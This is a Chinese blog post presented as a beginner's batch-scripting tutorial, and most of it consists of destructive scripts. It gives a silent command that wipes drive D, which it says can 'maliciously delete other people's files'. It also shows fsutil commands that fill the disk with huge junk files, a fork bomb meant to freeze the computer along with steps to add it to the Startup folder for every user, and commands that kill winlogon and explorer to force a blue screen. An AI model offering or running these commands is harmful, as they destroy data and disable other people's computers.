批处理编写

题记

       不是杰出者才做梦,而是善梦者才杰出。                 ----------------钟扬

批处理定义

        批处理就是成批的处理dos命令,自上而下执行命令。运行中一条命令出个错,报个错继续往后处理。

       注意:Windows命令叫dos命令,脚本叫dos脚本;linux命令叫shell命令,脚本叫shell脚本。

创建批处理

       扩展名:.bat。

       新建一个txt文件,把名字改为111.bat,这就是一个批处理文件,然后把命令写在bat文件中,双击就可以一条一条执行了,没有pause(暂停)cmd就会闪一下,执行完就关闭了,写了pause就会挺住。

       @echo off //注释:关闭回显,屏蔽执行过程,只显示结果。

       color ? 查看颜色 color 0a 0为背景颜色,a字体颜色

       title 名字 //设置标题名字

       echo. 空一行

       d: >nul 2>nul

       cd \ >nul 2>nul

       rd . /s/q >nul 2>nul //这三条命令是删除d盘文件且不提示

       ping -n 10 127.0.0.1 >nul 2>nul //整个10秒延迟不显示

       以上可以恶意删除别人文件

 -------------------------------------------------------------------------------------

       d:

       cd\

       fsutil file createnew d:\sys.ini 4096000000

       fsutil file createnew d:\sys.ini 4096000000

       fsutil file createnew d:\sys.ini 4096000000

       fsutil file createnew d:\sys.ini 4096000000

       创建一堆大量无用的文件,如果加隐藏破坏力更大。

---------------------------------------------------------------------------------------

       文件名qq.bat

       :d

       start

       goto d

       可以造成电脑死机,重启可停止

       找到系统内的开始菜单中的启动,在顶部加上copy qq.bat 启动的地址 就可以开机自启。

       copy qq.bat "%userprofile%\启动的地址" (开始菜单之前路径替换)就可以任意用户开机自启。

---------------------------------------------------------------------------------------

       一个批处理小程序,主要内容是变量跳区块。

---------------------------------------------------------------------------------------

       ntsd -c q -pn winlogon.exe 强制杀死进程,如果杀特殊的就会蓝屏死机。此命令针对xp或者2003的蓝屏命令

       taskkill /im explorer.exe /f

       echo 傻了吧

       ping -n 10 127.0.0.1 >nul 2>nul

       start c:\windows\explorer.exe

       echo 吓唬你呢

       pause

原文地址:https://www.cnblogs.com/sunny11/p/13637017.html